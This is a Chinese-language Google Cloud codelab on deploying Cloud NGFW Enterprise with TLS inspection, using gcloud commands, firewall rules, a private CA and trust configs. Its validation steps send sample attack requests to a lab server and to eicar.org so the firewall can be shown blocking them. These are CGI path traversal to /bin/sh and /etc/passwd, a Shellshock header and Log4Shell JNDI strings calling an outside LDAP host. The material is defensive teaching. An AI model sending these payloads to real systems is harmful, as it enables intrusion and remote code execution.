Cloud NGFW Enterprise Codelab [具有 TLS 检查]

1. 简介

Cloud 下一代防火墙 (NGFW)

Cloud Next Generation Firewall 是一项完全分布式防火墙服务，具有高级保护功能、微分段和普遍覆盖功能，可保护您的 Google Cloud 工作负载免受内部和外部攻击。

Cloud NGFW 具有以下优势：

  • 分布式防火墙服务：Cloud NGFW 针对每个工作负载提供基于主机的有状态有状态强制执行，以实现零信任安全架构。
  • 简化的配置和部署：Cloud NGFW 实施可附加到资源层次结构节点的网络和分层防火墙政策。这些政策在 Google Cloud 资源层次结构中提供一致的防火墙体验。
  • 精细控制和微分段：防火墙政策与由 Identity and Access Management (IAM) 控制的标记相结合，可对虚拟私有云 (VPC) 网络和组织中的南北和东西流量（直到单个虚拟机）进行精细控制。

Cloud NGFW 可在以下层级中使用：

  • Cloud 新一代防火墙基本功能版
  • Cloud 下一代防火墙标准
  • Cloud 下一代防火墙企业版

Cloud NGFW 企业版

Cloud NGFW Enterprise 向分布式 Google Cloud 防火墙结构添加了第 7 层 - 入侵防护服务 (IPS)。支持 TLS 检查，以允许检查 TLS 加密流量。

现在，您可以通过精细的控制功能部署可靠的第 7 层下一代防火墙 (NGFW) 检查功能，而无需对网络架构或路由配置进行任何更改。

要使用 IPS 激活和部署第 7 层防火墙控制，您需要执行以下任务：

  • 创建一组 Google Cloud 代管式可用区级防火墙端点。
  • （可选）创建 TLS 检查政策。
  • （可选）创建信任配置。
  • 将这些端点与您需要 Cloud NGFW Enterprise 服务的 Virtual Private Cloud (VPC) 网络相关联。
  • 对现有的防火墙政策和防火墙规则进行简单更改，指定各种流量路径的威胁防护配置文件。

网络防火墙政策

网络防火墙政策充当防火墙规则的容器。网络防火墙政策中定义的规则在与 VPC 网络关联之前不会在任何位置强制执行。每个 VPC 网络都可以有一项关联的网络防火墙政策。网络防火墙政策支持防火墙规则中由 IAM 管理的标记（或仅标记），这些标记取代了当前的网络标记，可用于为工作负载提供身份。

在各个网络之间共享网络防火墙政策并与 IAM 管理的标记集成，这可以极大地简化防火墙的配置和管理。

随着网络防火墙政策的引入，Google Cloud 的防火墙政策现在包含以下组成部分：

  1. 分层防火墙政策
  2. VPC 防火墙规则
  3. 网络防火墙政策（全球性和区域性）

资源层次结构中的组织和文件夹节点支持分层防火墙政策，而 VPC 防火墙规则和网络防火墙政策在 VPC 级别应用。VPC 防火墙规则与网络防火墙政策之间的一个巨大区别在于，VPC 防火墙规则只能应用于单个 VPC 网络，而网络防火墙政策可以关联到单个 VPC 或 VPC 组，同时还具有批量更新等其他优势。

最后，我们还有每个 VPC 网络自带的隐式防火墙规则：

  • 操作为允许、目标为 0.0.0.0/0 的出站规则
  • 操作为拒绝的入站流量规则，来源为 0.0.0.0/0

默认情况下，强制执行序列如下图所示：

21b3bcabc469ffe.png

请注意，VPC 防火墙规则和全球网络防火墙政策之间的强制执行顺序可以调换。客户可以随时使用 gcloud 命令指定强制执行顺序。

标签

新网络防火墙政策规则中集成的标记是在 Google Cloud 资源层次结构的组织或项目级定义的键值对资源。此类标记包含 IAM 访问权限控制，指定谁可以对标记执行哪些操作。例如，身份和访问权限管理 (IAM) 权限允许指定哪些主账号可以为标记分配值，哪些主账号可以将标记附加到资源。如果网络防火墙规则引用了标记，则必须将其应用于资源才能强制执行。

标记遵循 Google Cloud 的继承资源模型，这意味着标记及其值会从其父级通过层次结构向下传递。因此，您可以在一个位置创建标记，然后在整个资源层次结构中的其他文件夹和项目使用标记。如需详细了解标记和访问权限限制，请访问此页面。

标记不应与网络标记混淆。后者是可添加到 Compute Engine 实例的字符串；它们与实例相关联，并在实例停用时消失。VPC 防火墙规则可能包含网络标记，但由于它们不被视为云资源，因此不受 IAM 访问权限控制。

请注意，在本文中，标记与 IAM 管理的标记可互换使用。

构建内容

此 Codelab 需要单个项目，并且能够创建 VPC 网络以及管理大量网络和安全资源。本课程将介绍 Cloud NGFW Enterprise 如何通过以下方式提供 IPS 功能：

  • 使用 TLS 检查来检查北向互联网流
  • 通过 TLS 检查检查 VPC 内部流 [东-西]

将使用 5 元组（来源 IP、目标 IP、协议、来源端口、目标端口）和标记等 Cloud Firewall 匹配参数来选择要检查的流。

3d0f288d3b92a295

网络防火墙政策规则库的结束状态与下表类似：

优先级

方向

目标

来源

目标位置

操作

类型

100

入站

Server_Tag

健康检查

不限

允许

必备应用

200

入站

Client_Tag、Server_Tag

IAP

不限

允许

必备应用

800

入站

Server_Tag

10.0.0.0/24

10.0.0.0/24

L7 检查

企业

850

出站

Client_Tag

不限

10.0.0.0/24

允许

必备应用

900

出站

Client_Tag

不限

不限

L7 检查

企业

学习内容

  • 如何创建网络防火墙政策。
  • 如何创建标记并将其与网络防火墙政策搭配使用。
  • 如何配置和使用带 TLS 检查的 Cloud NGFW Enterprise。

所需条件

  • Google Cloud 项目。
  • 具备部署实例和配置网络组件方面的知识。
  • VPC 防火墙配置知识。

2. 准备工作

创建/更新变量

此 Codelab 使用 $variables 辅助在 Cloud Shell 中实现 gcloud 配置。

在 Cloud Shell 中，运行以下命令并根据需要替换括号中的信息：

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. 启用 API

启用 API（如果您尚未启用）：

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW 企业端点创建

由于创建 Cloud NGFW Enterprise Endpoint 大约需要 20 分钟，因此系统会先创建该端点，并在创建端点的同时并行进行基本设置。

创建安全配置文件和安全配置文件组：

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

预期输出：

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.

确认已成功创建资源：

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

预期输出（请注意，输出格式可能会因所使用的客户端而异：

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

创建 Cloud NGFW Enterprise 端点：

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing

运行以下命令以确认端点正在创建中 (CREATING)。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

预期输出（请注意，输出格式可能会因所使用的客户端而异）：

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

（可选）运行以下命令以获取更多详细信息：

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

预期输出：

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

创建过程大约需要 20 分钟。转到“基本设置”部分，并行创建所需的资源。

5. 基本设置

VPC 网络和子网

VPC 网络和子网

创建 VPC 网络和子网：

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

创建 Cloud Router 路由器和 Cloud NAT 网关：

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

实例

创建客户端和网络服务器实例：

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

项目级标记

根据需要为用户分配 tagAdmin 权限：

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

创建项目级标记键和值：

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

将标记绑定到实例：

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

全球网络防火墙政策

创建全球网络防火墙政策：

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

创建所需的 Cloud Firewall Essential 规则，以允许来自健康检查和身份感知代理范围的流量：

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

创建所需的 Cloud 防火墙规则，以允许来自特定范围的东西/子网内入站流量（将更新这些规则，以启用带 TLS 检查的 Cloud NGFW Enterprise）：

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

将云防火墙政策与 VPC 网络相关联：

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. 云防火墙端点关联

定义环境变量，以便在尚未完成和/或首选脚本方法时使用。

确认 Cloud Firewall Endpoint 已成功创建。仅在状态显示为 ACTIVE 时再继续（在创建期间，预期状态为 CREATING）：

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

预期输出（请注意，输出格式可能会因所使用的客户端而异）：

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

（可选）运行以下命令以获取更多详细信息：

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

预期输出：

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

将 Cloud Firewall 端点与 VPC 网络相关联：

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

关联过程大约需要 10 分钟。仅当状态显示为 ACTIVE 时，才前往 TLS 部分（在创建期间，预期状态为 CREATING）：

gcloud network-security firewall-endpoint-associations list

完成后的预期输出：

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

（可选）运行以下命令以获取更多详细信息：

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

预期输出：

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. 配置 TLS 资源

创建 CA 池。此资源将用于存储我们为 NGFW Enterprise 生成的根 CA 证书。

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

创建根 CA。此 CA 证书将用于为通过 NGFW Enterprise 发送请求的其他证书签名。

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

如果系统提示以下消息，请回答 y：

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

创建一个服务账号。此服务账号将用于为 NGFW Enterprise 请求证书：

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

为服务账号设置 IAM 权限：

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

创建 TLS 政策 YAML 文件。此文件将包含特定资源的相关信息：

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

导入 TLS 检查政策：

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

更新端点关联以启用 TLS：

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

获取 CA 证书并将其添加到客户端的 CA 存储区：

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

将 CA 证书转移到客户端：

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

通过 SSH 连接到虚拟机，将 CA 证书移至 /usr/local/share/ca-certificates，然后更新 CA 存储区：

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

退出并返回到 Cloudshell。

服务器证书签名流程：

在 cloudshell 上，使用 pip 命令安装 Pyca 加密库：

pip install --user "cryptography>=2.2.0"

如需允许 Google Cloud SDK 使用 Pyca 加密库，您必须启用网站软件包。

export CLOUDSDK_PYTHON_SITEPACKAGES=1

创建服务器证书：

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem

这将在 cloudshell 中生成 cert.pem 和 key.pem 文件。接下来，将证书和密钥传输到服务器。

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

通过 SSH 连接到服务器以更新 Apache 的证书详细信息：

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

将证书和密钥移至特定文件夹：

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

更新 SSL 配置以使用签名证书：

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

重启 Apache：

sudo systemctl restart apache2

验证 Apache 状态：

sudo systemctl status apache2

应处于有效状态（正在运行）。

退出虚拟机并在 cloudshell 上继续操作。

8. 验证北向连接和 E/W 连接

在 Cloud Shell 中运行以下命令并记下要使用的目标 IP：

gcloud compute instances list --filter="name=($prefix-$zone-www)"

打开一个新标签页，然后通过 IAP 启动与客户端虚拟机的 SSH 连接（您需要在新标签页中定义变量）：

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

运行以下命令并记下要使用的目标 IP。创建变量，将括号内的值替换为上一步中提到的 IP 地址，并确保它们可以访问：

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

对专用 IP 进行 Curl 操作并确保其可以访问：

curl https://$target_privateip --max-time 2

curl 请求的预期结果：

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

向 IP 发送示例攻击。Web 服务器应响应所有请求，确认不存在 L7 检查/预防：

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

示例预期结果（专用 IP）：

400
404
400
200
200

同样，将请求发送到互联网目的地：

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

预期结果示例（互联网目标页面）：

400
404
400
403
403

退出虚拟机终端并返回 Cloud Shell。

9. 创建和更新用于 TLS 检查的防火墙规则

之前，我们配置了一条防火墙规则，以允许来自内部子网的入站流量进入我们的服务器。我们现在将更新现有的入站流量规则，并将操作设置为 apply_security_profile_group。这将使用 TLS 启用 E/W L7 检查：

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

创建新规则，以使用 TLS 检查北向 L7 检查。

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

创建新规则以允许 EGRESS 进行 E/W 操作，以防止双重检查。

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client

10. 验证北向 TLS 检查

请切换回客户端虚拟机标签页或再次连接：

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

将示例攻击发送到互联网目标：

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

如以下预期输出结果所示，未收到任何响应，确认示例攻击现已被阻止：

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

将变量设置为之前的服务器 IP：

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

向服务器发送示例 TLS 请求：

curl https://$target_privateip --max-time 2

预期输出：

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

此请求为何失败？这是因为防火墙从不信任的服务器接收证书。如果出现这种情况，它会将自签名证书传递回客户端。我们需要将 CA 证书添加到信任配置中才能启用信任。

返回 Cloud Shell。

11. 配置信任配置

获取根 CA 证书，并将其设置为采用正确格式的变量。

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

配置信任配置 YAML 文件。此文件包含 CA 证书等信任详细信息：

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

由于您的服务器证书是使用根 CA 签署的，因此上述命令会将根 CA 证书纳入信任存储区。这意味着，如果您的 TLS 政策将 excludedPublicCaSet 设置为 false，那么防火墙除了会信任公共 CA 之外，还会信任它收到且由您的根 CA 签名的所有证书。

检查信任配置的内容。

cat trust_config.yaml

示例输出：

请密切注意证书的缩进对齐方式。该网址必须完全遵循此格式。

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

导入信任配置：

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

更新 TLS 政策 YAML 文件以包含信任配置：

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

导入更新后的 TLS 政策：

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. 验证 E/W TLS 检查

通过 SSH 返回客户端，以使用更新后的信任配置测试 E/W 流量：

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

向服务器运行示例 TLS 请求：

curl https://$target_privateip --max-time 2

如果您仍然获得以下输出，请等待更新传播。

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

预期输出：

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

向服务器发送恶意测试流量：

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

预期输出：

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

如以下预期输出结果所示，未收到任何响应，这表明示例攻击现在已被阻止 E/W。

13. 日志记录

前往 Logging >通过 Cloud 控制台运行日志浏览器，在下方输入过滤条件并查询日志。将 [PROJECT_ID] 替换为您的 project_id：

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Cloud NGFW Enterprise 日志条目应如下所示：

5b68cc1063c0f4bd.png

展开日志条目，您会发现从客户端虚拟机发送到服务器的攻击已被识别并阻止（Apache Log4j 远程代码执行漏洞，如以下屏幕截图所示）。

478f18f8481e90ed

您已成功部署带有 TLS Inspection 的 Cloud NGFW Enterprise，以阻止恶意请求。

请继续阅读下一部分，了解清理步骤。

14. 清理步骤

基本设置清理

移除实例：

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

如果 tagAdmin 和 tagUsers 角色发生更改，请执行以下步骤：

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

